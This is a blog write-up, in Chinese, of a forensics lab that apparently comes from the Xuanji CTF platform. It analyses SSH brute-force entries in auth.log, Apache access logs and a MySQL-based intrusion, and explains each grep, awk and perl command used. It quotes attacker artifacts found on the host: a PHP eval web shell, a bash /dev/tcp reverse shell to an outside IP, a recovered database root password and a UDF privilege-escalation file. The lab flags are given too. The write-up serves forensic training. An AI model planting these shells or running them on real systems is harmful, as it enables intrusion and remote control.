玄机--日志分析
FLow

linux日志分析

有多少IP在爆破主机ssh的root帐号,如果有多个使用”,”分割

1
cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr 

学一把这些语句

grep把有”Failed password for root”的行挑出来,**-a**是将文件作为文本文件处理,避免某些情况下文件被识别为二进制文件

awk把挑出来的行里第11个字段挑出来(按空格分),这里挑出那些ip地址

sort把ip地址排序,**-n按数字排序,-r**降序排序

uniq去重,-c输出中显示每个行重复出现的次数

1
2
3
4
root@ip-10-0-10-6:/var/log# cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr
4 192.168.200.2
1 192.168.200.32
1 192.168.200.31
1
flag{192.168.200.2,192.168.200.32,192.168.200.31}

ssh爆破成功登陆的IP是多少,如果有多个使用”,”分割

1
2
3
root@ip-10-0-10-6:/var/log# cat auth.log* | grep -a "Accept" | awk '{print $11}' | sort | uniq -c | sort -nr
2 192.168.200.2
1 202.78.166.217

思路和上一道差不多,grep过滤的字段改成”Accept”

1
flag{192.168.200.2} # 要删掉自己的ip

爆破用户名字典是什么?如果有多个使用”,”分割

上题解

1
2
3
4
5
6
7
8
9
10
root@ip-10-0-10-6:/var/log# cat /var/log/auth.log.1 | grep -a "Failed password" | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'| uniq -c | sort -nr
5 invalid user user
5 invalid user hello
5 invalid user
4 root
1 root
1 root
1 invalid user test3
1 invalid user test2
1 invalid user test1

对于这个perl比较陌生

Perl 命令,用于从匹配的日志行中提取用户名。

while($_=<>)逐行读取输入(即日志文件的内容)。

/for(.*?) from/使用正则表达式匹配 for 和from 之间的内容(即用户名)。

print "$1\n";打印匹配到的用户名(捕获组 $1

思路就是用grep过滤后用perl -e处理每行语句,把for和from之间的字段(通常是用户名)挑出来**,再进行后续操作

1
flag{user,hello,root,test3,test2,test1}

登陆成功的IP共爆破了多少次

第一题的命令已经过滤出来了

1
2
3
4
root@ip-10-0-10-6:/var/log# cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr
4 192.168.200.2
1 192.168.200.32
1 192.168.200.31
1
flag{4}

黑客登陆主机后新建了一个后门用户,用户名是多少

可以直接看/etc/passwd,多了个test2

1
2
3
4
root@ip-10-0-10-6:/var/log# cat /etc/passwd
...
test2:x:1000:1000::/home/test2:/bin/sh
debian:x:1001:1001:Debian:/home/debian:/bin/bash

也可以

1
2
3
root@ip-10-0-10-6:/var/log# cat /var/log/auth.log* | grep -a "useradd" | grep -a "linux-rz"
Aug 1 07:50:45 linux-rz useradd[7551]: new group: name=test2, GID=1000
Aug 1 07:50:45 linux-rz useradd[7551]: new user: name=test2, UID=1000, GID=1000, home=/home/test2, shell=/bin/sh
1
flag{test2}

apache日志分析

提交当天访问次数最多的IP,即黑客IP:

1
2
3
4
5
6
root@ip-10-0-10-5:/var/log/apache2# cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort | uniq -c | sort -nr | head -n 10
6555 192.168.200.2
29 ::1
5 192.168.200.38
1 192.168.200.48
1 192.168.200.211

这次grep过滤的是”03/Aug/2023:08:”

1
flag{192.168.200.2}

黑客使用的浏览器指纹是什么,提交指纹的md5:

1
2
3
4
root@ip-10-0-10-5:/var/log/apache2# cat /var/log/apache2/access.log* | grep "192.168.200.2" | awk -F'"' '{print $6}' | uniq -c
12 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
1 curl/7.74.0
6543 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

直接grep上一题提取出来的ip

**awk -F’”‘ ‘{print $6}’**这里awk -F指定双引号为分割符,取第六个字段

对于 Apache 访问日志,双引号内的字段通常是请求方法、URL、协议和 User-Agent 字符串。第六个字段通常是 User-Agent。

1
2
指纹:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
md5:2d6330f380f44ac20f3a02eed0958f66

查看index.php页面被访问的次数,提交次数:

1
2
root@ip-10-0-10-5:/var/log/apache2# cat /var/log/apache2/access.log* | grep "/index.php" | wc -l
27

wc -l用于统计行数

1
flag{27}

查看黑客IP访问了多少次,提交次数:

和上一题差不多

1
2
root@ip-10-0-10-5:/var/log/apache2# cat /var/log/apache2/access.log* | grep '192.168.200.2 -' | wc -l
6555
1
flag{6555}

查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:

1
2
3
4
5
6
root@ip-10-0-10-5:/var/log/apache2# cat /var/log/apache2/access.log* | grep "03/Aug/2023:08" | awk '{print $1}' | sort -nr | uniq -c
1 192.168.200.48
5 192.168.200.38
1 192.168.200.211
6555 192.168.200.2
29 ::1
1
flag{5}

mysql日志分析

黑客第一次写入的shell flag{关键字符串}

找到sh.php

1
2
3
root@xuanji:/var/www/html# cat sh.php
1 2 <?php @eval($_POST['a']);?> 4
//ccfda79e-7aa1-4275-bc26-a6189eb9a20b
1
flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

黑客反弹shell的ip flag{ip}

在日志中发现adminer.php中存在sqk注入,用sys_eval实现命令执行

主要在/tmp/1.sh

1
2
root@xuanji:/var/log/apache2# cat /tmp/1.sh
bash -i >&/dev/tcp/192.168.100.13/777 0>&1
1
flag{192.168.100.13}

黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

先猜测是udf提权,在common.php找到数据库连接的账号密码

1
2
3
4
mysql -uroot -p334cc35b3c704593
连接到数据库
show variables like '%plugin%';
看一下plugin设置的目录

有两个udf.so

1
2
路径:/usr/lib/mysql/plugin/udf.so
md5:b1818bde4e310f3d23f1005185b973e7

黑客获取的权限 flag{whoami后的值}

udf提权后拿到的是mysql权限,所以:

1
flag{mysql}

参考

https://tryhackmyoffsecbox.github.io/Target-Machines-WriteUp/docs/Xuanji/

https://xz.aliyun.com/t/14254?time__1311=mqmx9QiQi%3D0%3DDQeDsNOf1TKnq40ErD&alichlgref=https%3A%2F%2Fwww.google.com%2F

由 Hexo 驱动 & 主题 Keep